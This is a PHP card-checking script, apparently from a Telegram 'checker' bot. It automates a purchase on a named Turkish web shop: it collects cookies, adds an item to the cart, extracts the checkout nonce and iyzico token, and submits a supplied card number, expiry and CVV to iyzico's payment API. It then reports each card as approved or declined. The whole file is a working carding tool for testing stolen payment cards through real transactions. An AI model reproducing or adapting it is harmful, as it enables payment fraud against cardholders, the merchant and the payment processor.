<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Parse card from command line (format: ?kart=CARDNO|MM|YY|CVV&chatid=CHATID)
$kart = isset($_GET['kart']) ? $_GET['kart'] : "5890040000000016|12|30|123";
$chatid = isset($_GET['chatid']) ? $_GET['chatid'] : "TEST";

$card_parts = explode('|', $kart);
if (count($card_parts) != 4) {
    echo "❌ Invalid card format. Use: CARDNO|MM|YY|CVV\n";
    exit;
}

list($card_number, $exp_month, $exp_year, $cvv) = $card_parts;

$timestamp_start = microtime(true);

// Step 1: Get cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://www.bilgebohem.com/");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
]);

$response1 = curl_exec($ch);

// Parse Set-Cookie headers
$cookies = [];
preg_match_all('/Set-Cookie:\s*([^=]+)=([^;]+)/i', $response1, $matches, PREG_SET_ORDER);
foreach ($matches as $match) {
    $cookies[$match[1]] = $match[2];
}

// Step 2: Add to Cart
$cookie_string = "_ga=GA1.2.1384714121.1765608187; _gid=GA1.2.763542320.1765608187; _gat_iyziTracker=1; learts_cookie_notice_accepted=yes";
if (count($cookies) > 0) {
    $cookie_string = "";
    foreach ($cookies as $name => $value) {
        $cookie_string .= "$name=$value; ";
    }
    $cookie_string = rtrim($cookie_string, "; ");
}

curl_setopt($ch, CURLOPT_URL, "https://www.bilgebohem.com/urun/cok-amacli-sepet/");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "woobt_ids=&quantity=1&add-to-cart=4316");
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Content-Type: application/x-www-form-urlencoded; charset=UTF-8",
    "Accept: */*",
    "X-Requested-With: XMLHttpRequest",
    "Origin: https://www.bilgebohem.com",
    "Referer: https://www.bilgebohem.com/urun/cok-amacli-sepet/",
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Cookie: $cookie_string"
]);

$response2 = curl_exec($ch);

// Parse new cookies from response
preg_match_all('/Set-Cookie:\s*([^=]+)=([^;]+)/i', $response2, $matches, PREG_SET_ORDER);
foreach ($matches as $match) {
    $cookies[$match[1]] = $match[2];
}

// Step 3: Get checkout page to extract nonce
$cookie_string = "";
foreach ($cookies as $name => $value) {
    $cookie_string .= "$name=$value; ";
}
$cookie_string = rtrim($cookie_string, "; ");

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://www.bilgebohem.com/odeme/");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Accept: text/html",
    "Cookie: $cookie_string"
]);

$response3 = curl_exec($ch);

// Extract nonce
if (!preg_match('/woocommerce-process-checkout-nonce["\']?\s*value=["\']([^"\']+)["\']/', $response3, $match)) {
    if (!preg_match('/process-checkout-nonce["\']?\s*:\s*["\']([^"\']+)["\']/', $response3, $match)) {
        echo "❌ Nonce not found\n";
        curl_close($ch);
        exit;
    }
}
$nonce = $match[1];

// Step 4: Submit checkout with iyzico payment
$checkout_data = [
    "billing_first_name" => "Test",
    "billing_last_name" => "User",
    "billing_company" => "",
    "billing_country" => "TR",
    "billing_address_1" => "Test Address 123",
    "billing_address_2" => "",
    "billing_postcode" => "34000",
    "billing_city" => "Istanbul",
    "billing_state" => "TR34",
    "billing_phone" => "5321234567",
    "billing_email" => "test@test.com",
    "account_username" => "",
    "account_password" => "",
    "shipping_first_name" => "",
    "shipping_last_name" => "",
    "shipping_company" => "",
    "shipping_country" => "TR",
    "shipping_address_1" => "",
    "shipping_address_2" => "",
    "shipping_postcode" => "",
    "shipping_city" => "",
    "shipping_state" => "",
    "order_comments" => "",
    "shipping_method[0]" => "flat_rate:6",
    "payment_method" => "iyzico",
    "terms" => "on",
    "terms-field" => "1",
    "woocommerce-process-checkout-nonce" => $nonce,
    "_wp_http_referer" => "/?wc-ajax=update_order_review"
];

curl_setopt($ch, CURLOPT_URL, "https://www.bilgebohem.com/?wc-ajax=checkout");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($checkout_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Content-Type: application/x-www-form-urlencoded; charset=UTF-8",
    "Accept: application/json, text/javascript, */*; q=0.01",
    "X-Requested-With: XMLHttpRequest",
    "Origin: https://www.bilgebohem.com",
    "Referer: https://www.bilgebohem.com/odeme/",
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Cookie: $cookie_string"
]);

$response4 = curl_exec($ch);
$data4 = json_decode($response4, true);

if (!isset($data4['redirect'])) {
    echo "❌ Checkout failed\n";
    curl_close($ch);
    exit;
}
$order_pay_url = $data4['redirect'];

// Step 5: Get order-pay page to extract iyzico token
curl_setopt($ch, CURLOPT_URL, $order_pay_url);
curl_setopt($ch, CURLOPT_HTTPGET, true);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Accept: text/html",
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Cookie: $cookie_string"
]);

$response5 = curl_exec($ch);

// Extract iyzico token and price
if (!preg_match('/iyziInit\s*=\s*\{[^}]*token\s*:\s*"([a-f0-9-]{36})"/', $response5, $match)) {
    echo "❌ iyzico token not found\n";
    curl_close($ch);
    exit;
}
$iyzico_token = $match[1];

$price = 849.00;
if (preg_match('/price\s*:\s*([0-9.]+)/', $response5, $price_match)) {
    $price = floatval($price_match[1]);
}

// Step 6: Submit payment to iyzico
$payment_data = [
    "installment" => 1,
    "paidPrice" => $price,
    "paymentChannel" => "WEB",
    "paymentCard" => [
        "cardNumber" => $card_number,
        "cardHolderName" => "TEST USER",
        "expireYear" => $exp_year,
        "expireMonth" => $exp_month,
        "cvc" => $cvv,
        "registerConsumerCard" => false,
        "registerCard" => 0
    ],
    "browserFingerprint" => [
        "language" => "tr",
        "timezone" => -180,
        "hasSessionStorage" => true,
        "hasLocalStorage" => true,
        "hasIndexedDb" => true,
        "hasOpenDb" => true,
        "platform" => "false",
        "hasLiedLanguage" => false,
        "hasLiedResolution" => false,
        "hasLiedOS" => false,
        "hasLiedBrowser" => false,
        "maxTouchPoints" => 0,
        "touchEventSuccess" => false,
        "hasTouchStart" => false,
        "fingerprintHash" => ""
    ]
];

curl_setopt($ch, CURLOPT_URL, "https://api.iyzipay.com/payment/iyzipos/checkoutform/auth/ecom");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payment_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Content-Type: application/json",
    "Accept: application/json",
    "X-Iyzi-Token: $iyzico_token",
    "Origin: https://www.bilgebohem.com",
    "Referer: https://www.bilgebohem.com/",
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
]);

$response6 = curl_exec($ch);
$timestamp_end = microtime(true);
$time_taken = round($timestamp_end - $timestamp_start, 2);

$data6 = json_decode($response6, true);

if (isset($data6['status'])) {
    $status = $data6['status'];
    $message = isset($data6['errorMessage']) ? $data6['errorMessage'] : (isset($data6['paymentStatus']) ? $data6['paymentStatus'] : 'Unknown');
    
    if ($status === 'success') {
        echo "✅APPROVED | $kart ({$time_taken}s) 𝐈𝐘𝐙𝐈𝐂𝐎𝟑 CHECK BY @aerithiacheck3r_bot\n";
    } else {
        echo "❌$message | $kart ({$time_taken}s) 𝐈𝐘𝐙𝐈𝐂𝐎𝟑 CHECK BY @aerithiacheck3r_bot\n";
    }
} else {
    echo "❌ERROR | $kart ({$time_taken}s) 𝐈𝐘𝐙𝐈𝐂𝐎𝟑 CHECK BY @aerithiacheck3r_bot\n";
}

curl_close($ch);
